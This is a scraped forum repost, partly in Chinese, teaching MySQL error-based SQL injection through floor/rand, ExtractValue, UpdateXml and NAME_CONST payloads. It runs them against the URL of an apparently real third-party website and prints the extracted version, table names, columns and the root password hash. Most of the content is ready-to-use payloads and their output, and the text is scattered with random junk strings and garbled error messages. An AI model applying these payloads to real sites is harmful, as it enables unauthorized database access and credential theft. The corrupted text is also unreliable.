1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
8 W* u4 t; j; Q- Q2 p, J" \首先进行正常查询: mysql> select * from article where id = 1;* V7 f3 j1 J8 ?1 W7 C' X, k
+—-+——-+———+
9 v% ^/ M. j2 b| id | title | content |
2 A$ L2 s0 i' k }+—-+——-+———+) r2 F& }3 @4 g: \8 N. C7 Q$ v
| 1 | test | do it |( D0 ~! i8 t2 \) ?% Q
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);" P5 A2 \* x |5 j5 s
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。2 x+ N5 g& ^: F. t
例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
( V8 d# U4 Z' i& I) j4 e% t- ?ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
+ Z a" F4 N5 h5 }ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue
& D7 w7 I% O) ~& B& g8 c3 z测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
0 g$ A) ^- z) x& AERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
# z6 n* ]8 \+ M; ~6 v" _
; H& U2 H2 ~6 Q' W$ y. @再收集: L# ]+ {/ x' C$ G. F. ~5 U4 g
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
, z2 i r" M% y! S
1 N/ u# g3 b1 ~Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’* F/ F; c8 [ A9 V- j+ i7 l3 j
6 `- P' Q9 k( qhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
h: `6 S" n, F/ f
, }. E, ]1 L0 h+ ]* K1 ^Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 0 @8 H* h. h, e m0 X$ {! {0 \
% g0 a7 T1 m! i. P7 fMYSQL高版本报错注入技巧-利用NAME_CONST注入
' Q+ |3 p; o( |! x! xIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
! x$ p& K0 \! b! x+ O w7 T3 Z0 w; @" J4 } {, Z
% X& z* H+ q, ^1 ^, P4 [5 Y
相关信息
; R2 x4 U; t {' g5 G8 U0 V4 Q9 h
0 t& Z" d- F+ K7 bNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
# S' U) f% Q7 u! \: a( Z2 U7 x1 e. W8 w
Code:
! B+ ?) e8 d+ B/ S* q( wNAME_CONST(DATA, VALUE)4 h; M# c+ J% F ^' s( [) ?
' _; s+ G* A( V: m! u
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
; @- o5 K* r; I5 l L+ g9 m
% q9 Q, K" D+ w: t6 N+ ~7 q3 ~SELECT NAME_CONST('TEST', 1)
7 r' n0 a, }: X9 t# ?% W) n8 K+ F
0 N$ O% I5 Z/ H2 k4 \) l, l# R
s2 }4 s% D4 a e9 o8 P1 I, g
|---------------|! y+ U% j" k V5 y% k2 Y, \
| TEST |
" O3 y0 N$ n0 {6 s| |$ r! P. X/ I; |6 r1 O1 B8 y
|---------------|) y8 ]4 V- T: O! P7 T* N* ?+ o0 N
| 1 |) \: v2 }/ H3 o, p
| |
& \( z& j# u8 w3 t2 \6 w|---------------|
2 T" ?: d8 G% L& c, g) X1 d2 `7 z* s& s& o4 p
4 K$ A& V+ X: c0 R8 B) m! F6 G$ V8 C4 D4 C5 {, f! H
) X2 v7 f: ]2 O7 I8 c+ v+ t) s! M+ D
http://dev.mysql.com/doc/refman/5.0/en/m...name-const3 ]) d) M7 }$ f" w R; H+ }
Intro to MySQL Variables
- j& s. a4 J. B* ^9 ^
% T4 Y B9 w! k) P w$ E+ nOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.: ]) J- b" a. c" u1 N4 n
* z" |* T1 Z& b% j4 m
Code:- ]+ C% F2 ~/ i
http://www.baido.hk/qcwh/content ... ;sid=19&cid=2613 M( e4 I6 ~3 p. W8 {# t4 c
+ R# j5 u! [# @1 c3 p# ^% d9 j( I, u0 I( f: ~' p
6 \7 H. Z/ b8 n. B k2 g
4 U: F3 N0 O% ]7 S2 M) S. @% v5 U( C6 W
' ^0 G8 q3 i5 U' X" P8 aCode:
+ k& h% n+ h8 {, A- Y; Jand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--# b9 g+ _+ t6 l$ \& `
% k7 {* i( p. t# k5 l2 l
$ N+ R( q' ]( A0 o9 V" xVAR = Your MySQL variable.3 f, ^2 _/ p% K7 `% x0 s( X
% u$ l9 X- B' \MySQL 5.1.3 Server System Variables0 i* N/ [9 R* n- x6 B. J, l1 z
3 ]8 @9 J: u! P, j0 x
Let's try it out on my site..
8 \" J% S0 u' P2 F$ l" r
" i$ y! ]' ?5 B9 x2 |Code:" `, {3 d7 r: F( o1 d4 L
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--. E# l- r. U5 S! w8 ?) i
0 ?# _" H, m1 M1 e9 g& R, J R
Erroruplicate column name '5.0.27-community-nt'' g& v5 a/ _0 S* o
2 M J( i5 A8 @. P- T* e+ [. z) w; a" C) n
1 {- `& Z/ D8 X6 ?$ y2 B7 p
: ^, J& _# t0 V! Y
/ D+ |/ p) }& X+ i- _ K: {6 R1 rNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...1 [0 x. i6 j6 C2 m5 K- a: [
8 ], h3 S5 Z+ L YData Extraction2 R; X0 j, I2 l0 _1 }
' J2 Y* J0 S: Y/ W, e0 R1 ^Code:: z l7 `6 {8 p7 F
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
" a1 |1 e" Q; P& W$ \
2 Z! x0 ], U, I7 S3 ]7 L2 V+ c; o6 v2 S: G! r. \: {# r* ?$ ]
We should get a duplicate column 1 error...
- {/ i; a" T! s$ H% y6 V3 ?# X' S3 \( ~9 q2 O/ Y4 c' a h
Code:
# c. [5 g( O1 Y' p2 phttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
, \) P% V" ]1 t
8 c1 ?3 }( [1 @; e% ]Erroruplicate column name '1
' R6 W+ B$ n& y
% C6 A0 o2 ^' B3 }: g. F& r6 Y+ |0 c/ v& a3 }5 }; A
4 y( B3 C' V' C: B( ^- U3 S' m
/ F! l/ f; b0 C, e$ h: u u: O( y
4 d# |& k, U) X. g( }) i5 a% G
Now let's get the tables out this bitch..
. `* W3 ?/ T& V6 [. v. E$ p8 I7 u1 Z* ?2 H6 x
Code:
/ k% C$ w, D+ U t& k+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--, f6 i) G) J1 o* X/ O8 _
. V x* V' t F! N
( F: }8 \$ o7 q+ ^Let's see if it works here, if it does, we can go on and finish the job.* m) F2 b# T& Y% x; z
4 P8 D! s7 ^$ k; C# X% I U
Code:) c) m( K: e9 P% D
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--3 e+ {1 } v1 c+ n2 n% S7 d
$ ^7 H+ }7 N7 Y" q, k
R8 w4 P4 o: T7 H4 s% Y- PErroruplicate column name 'com_admanage' q6 y! h( `2 ^* h% C. G7 B
& G4 x7 T- ], M. t! e. H2 d3 s9 `2 `
+ S( ~# {; t3 m' m; O3 V! b# Z6 u
8 o3 b: M. o, a7 ^' i5 q
0 R4 R! T0 x1 y; o- q, Q- z' Q7 P7 A% E" z
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.( m" m7 X; p9 z i. H- F& P( M
% j. [( V9 l- j l5 E* ELet's get the columns out of the user table..
; {1 e4 n/ ?2 M8 h) E. o8 ~/ _+ I$ n- k/ J, a$ Y0 R
Code:5 Q* i* Q, j# ^2 s7 l d; k
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--4 S5 X9 m* n1 H
4 D8 K1 k1 N7 V. [; w( Q* l/ K
4 C4 Q) E+ K, ~0 r! H! A
So mine looks like this, and I get the duplicate column name 'Host'.
( J& g+ W# h8 }! b. g/ E7 `. e2 i
Code:3 p- P" H: C# T4 J% |& x, f+ u
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--4 B2 N: W( U1 W s) ]% B
# ?- a- ^$ \6 \, }& g2 _) wErroruplicate column name 'Host'7 v; A( q: u% v
7 B( Q N5 I4 }7 Z, [' W
0 ^5 T! t n; Z* {3 u* {
" ~) d' ?2 n" E ^# _ f; Z A% E, ^% }8 F! |; l2 j
# H7 V: M$ ]# \8 @+ f( S
2 a8 [2 l4 _) `5 U& O \% J: O
Woot, time to finish this bitch off.
M7 w _" f" m% _$ F7 m$ O' h- j! N* u3 l2 e1 r0 x j( D
Code:
8 Y9 z* \% U& l( G2 h+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
& r8 o( ?6 Q; }; I. n
; f. S1 g" @% M* N* f4 a
& H( D7 Y7 J) F4 VSo mine looks like this...) c' T( l0 L5 r) U
, \+ x p* h, _9 I3 Y, p8 C( B% ?Code:
! F. `& u$ V5 ~2 Phttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
: [8 x8 E: W( L6 l" ]5 V+ n: {6 N9 n2 V
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'1 L Z8 K5 h4 u
! h2 l; Y7 m# t: h
+ O) M2 z# B2 e7 p. H. X+ W$ w. Y
" H& f) |. W9 s0 f+ G* A
5 @ C. P2 h! k: a. ^ i2 L
4 s- P; `0 W5 u7 I, x/ d) E* p/ U8 o1 E* d2 [4 A- Z
And there we have it, thanks for reading.
8 [$ W ], U- ^0 a' n, P8 l. `. D1 ^2 U" k, n) w
|